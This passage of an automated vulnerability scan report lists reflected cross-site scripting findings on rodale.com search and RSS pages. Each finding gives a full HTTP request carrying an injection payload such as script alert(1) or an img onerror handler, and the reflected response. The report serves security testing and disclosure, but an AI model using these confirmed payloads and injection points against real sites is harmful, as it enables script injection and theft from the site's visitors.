The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3dc0"><a>efe5f9be3e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /rss-feedsb3dc0"><a>efe5f9be3e1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:37:51 GMT
Date: Thu, 10 Mar 2011 17:07:52 GMT
Content-Length: 22443
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page rss-feedsb3dc0"><a>efe5f9be3e1 node node-958">
...[SNIP]...

2.201. http://www.rodale.com/rss-feeds [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/rss-feeds

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4c5e"><a>b65b7d6d1a9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /rss-feeds?e4c5e"><a>b65b7d6d1a9=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:58 GMT
Date: Thu, 10 Mar 2011 17:06:58 GMT
Content-Length: 24643
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/rss-feeds?e4c5e"><a>b65b7d6d1a9=1" title="Register" class="moreLink">
...[SNIP]...

2.202. http://www.rodale.com/rss.xml [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/rss.xml

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 837bc"><a>082b5ca454b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /rss.xml837bc"><a>082b5ca454b HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:04 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:04 GMT
Date: Thu, 10 Mar 2011 17:05:04 GMT
Content-Length: 22437
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page rss.xml837bc"><a>082b5ca454b node node-958">
...[SNIP]...

2.203. http://www.rodale.com/search/google_appliance [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70f00"><a>d72c0f053f0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search70f00"><a>d72c0f053f0/google_appliance HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:51 GMT
Date: Thu, 10 Mar 2011 17:06:51 GMT
Content-Length: 22515
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page search70f00"><a>d72c0f053f0 search70f00">
...[SNIP]...

2.204. http://www.rodale.com/search/google_appliance [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 581c9"><script>alert(1)</script>0392f7bba55 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance581c9"><script>alert(1)</script>0392f7bba55 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:29 GMT
Date: Thu, 10 Mar 2011 17:07:29 GMT
Content-Length: 21705
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="/search/google_appliance581c9"><script>alert(1)</script>0392f7bba55" class="filters dottedLine">
...[SNIP]...

2.205. http://www.rodale.com/search/google_appliance [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aee6e"><script>alert(1)</script>a003685982a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance?aee6e"><script>alert(1)</script>a003685982a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:48 GMT
Date: Thu, 10 Mar 2011 17:06:48 GMT
Content-Length: 21127
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance?aee6e"><script>alert(1)</script>a003685982a=1" title="Register" class="moreLink">
...[SNIP]...

2.206. http://www.rodale.com/search/google_appliance/BPA [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/BPA

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f982"><a>0a4677dd94e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search8f982"><a>0a4677dd94e/google_appliance/BPA HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:36 GMT
Date: Thu, 10 Mar 2011 17:06:36 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page search8f982"><a>0a4677dd94e search8f982">
...[SNIP]...

2.207. http://www.rodale.com/search/google_appliance/BPA [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/BPA

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload dcbbf'><img%20src%3da%20onerror%3dalert(1)>dc9cad8a6ab was submitted in the REST URL parameter 2. This input was echoed as dcbbf'><img src=a onerror=alert(1)>dc9cad8a6ab in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/google_appliancedcbbf'><img%20src%3da%20onerror%3dalert(1)>dc9cad8a6ab/BPA HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:26 GMT
Date: Thu, 10 Mar 2011 17:07:26 GMT
Content-Length: 22757
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href='/search/google_appliancedcbbf'><img src=a onerror=alert(1)>dc9cad8a6ab/BPA?filter=prevention.com'>
...[SNIP]...

2.208. http://www.rodale.com/search/google_appliance/BPA [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/BPA

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86a68"><script>alert(1)</script>a1e7f72e2ef was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance86a68"><script>alert(1)</script>a1e7f72e2ef/BPA HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:13 GMT
Date: Thu, 10 Mar 2011 17:07:13 GMT
Content-Length: 21731
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="/search/google_appliance86a68"><script>alert(1)</script>a1e7f72e2ef/BPA" class="filters dottedLine">
...[SNIP]...

2.209. http://www.rodale.com/search/google_appliance/BPA [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/BPA

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78c7d"><script>alert(1)</script>55828201eca was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/BPA78c7d"><script>alert(1)</script>55828201eca HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:30 GMT
Date: Thu, 10 Mar 2011 17:07:30 GMT
Content-Length: 21834
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/BPA78c7d"><script>alert(1)</script>55828201eca" title="Register" class="moreLink">
...[SNIP]...

2.210. http://www.rodale.com/search/google_appliance/BPA [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/BPA

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e86ad'%3b9bf084198b4 was submitted in the REST URL parameter 3. This input was echoed as e86ad';9bf084198b4 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search/google_appliance/BPAe86ad'%3b9bf084198b4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:37:32 GMT
Date: Thu, 10 Mar 2011 17:07:33 GMT
Content-Length: 21623
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
;
var axel = Math.random() + '';
var ord = axel * 1000000000000000000;
var topic = dfpTopic;
var sbtpc = dfpSubTopic;
var dfpCat= '';
var cat = dfpCat;
var dfpKeyword = 'BPAe86ad';9bf084198b4';
var siteName = 'rodale';
var dfpTile='1';
var tile = dfpTile;
var useCAS = 'N';
// ]]>
...[SNIP]...

2.211. http://www.rodale.com/search/google_appliance/BPA [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/BPA

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3acce"><script>alert(1)</script>79f41b9b7d9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/BPA?3acce"><script>alert(1)</script>79f41b9b7d9=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:34 GMT
Date: Thu, 10 Mar 2011 17:06:34 GMT
Content-Length: 29285
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/BPA?3acce"><script>alert(1)</script>79f41b9b7d9=1" title="Register" class="moreLink">
...[SNIP]...

2.212. http://www.rodale.com/search/google_appliance/Cleaning [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Cleaning

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d248"><a>d6c347d5f7d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search1d248"><a>d6c347d5f7d/google_appliance/Cleaning HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:40 GMT
Date: Thu, 10 Mar 2011 17:06:40 GMT
Content-Length: 22535
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page search1d248"><a>d6c347d5f7d search1d248">
...[SNIP]...

2.213. http://www.rodale.com/search/google_appliance/Cleaning [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Cleaning

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87aab"><script>alert(1)</script>093924cc8a2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance87aab"><script>alert(1)</script>093924cc8a2/Cleaning HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:16 GMT
Date: Thu, 10 Mar 2011 17:07:16 GMT
Content-Length: 21761
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="/search/google_appliance87aab"><script>alert(1)</script>093924cc8a2/Cleaning" class="filters dottedLine">
...[SNIP]...

2.214. http://www.rodale.com/search/google_appliance/Cleaning [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Cleaning

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e2a25'><img%20src%3da%20onerror%3dalert(1)>006fac57b13 was submitted in the REST URL parameter 2. This input was echoed as e2a25'><img src=a onerror=alert(1)>006fac57b13 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /search/google_appliancee2a25'><img%20src%3da%20onerror%3dalert(1)>006fac57b13/Cleaning HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:32 GMT
Date: Thu, 10 Mar 2011 17:07:32 GMT
Content-Length: 23201
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href='/search/google_appliancee2a25'><img src=a onerror=alert(1)>006fac57b13/Cleaning?filter=prevention.com'>
...[SNIP]...

2.215. http://www.rodale.com/search/google_appliance/Cleaning [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Cleaning

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9283f"><script>alert(1)</script>547e807c6dc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Cleaning9283f"><script>alert(1)</script>547e807c6dc HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:36 GMT
Date: Thu, 10 Mar 2011 17:07:36 GMT
Content-Length: 21874
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/search/google_appliance/Cleaning9283f"><script>alert(1)</script>547e807c6dc" title="Register" class="moreLink">
...[SNIP]...

2.216. http://www.rodale.com/search/google_appliance/Cleaning [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/search/google_appliance/Cleaning

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 360cc'%3bc6691c3046c was submitted in the REST URL parameter 3. This input was echoed as 360cc';c6691c3046c in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /search/google_appliance/Cleaning360cc'%3bc6691c3046c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:37 GMT
Date: Thu, 10 Mar 2011 17:07:37 GMT
Content-Length: 21663
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
var axel = Math.random() + '';
var ord = axel * 1000000000000000000;
var topic = dfpTopic;
var sbtpc = dfpSubTopic;
var dfpCat= '';
var cat = dfpCat;
var dfpKeyword = 'Cleaning360cc';c6691c3046c';
var siteName = 'rodale';
var dfpTile='1';
var tile = dfpTile;
var useCAS = 'N';
// ]]>
...[SNIP]...

2.217. http://www.rodale.com/search/google_appliance/Cleaning [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/search/google_appliance/Cleaning

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6f5c"><script>alert(1)</script>b89302645aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/google_appliance/Cleaning?a6f5c"><script>alert(1)</script>b89302645aa=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
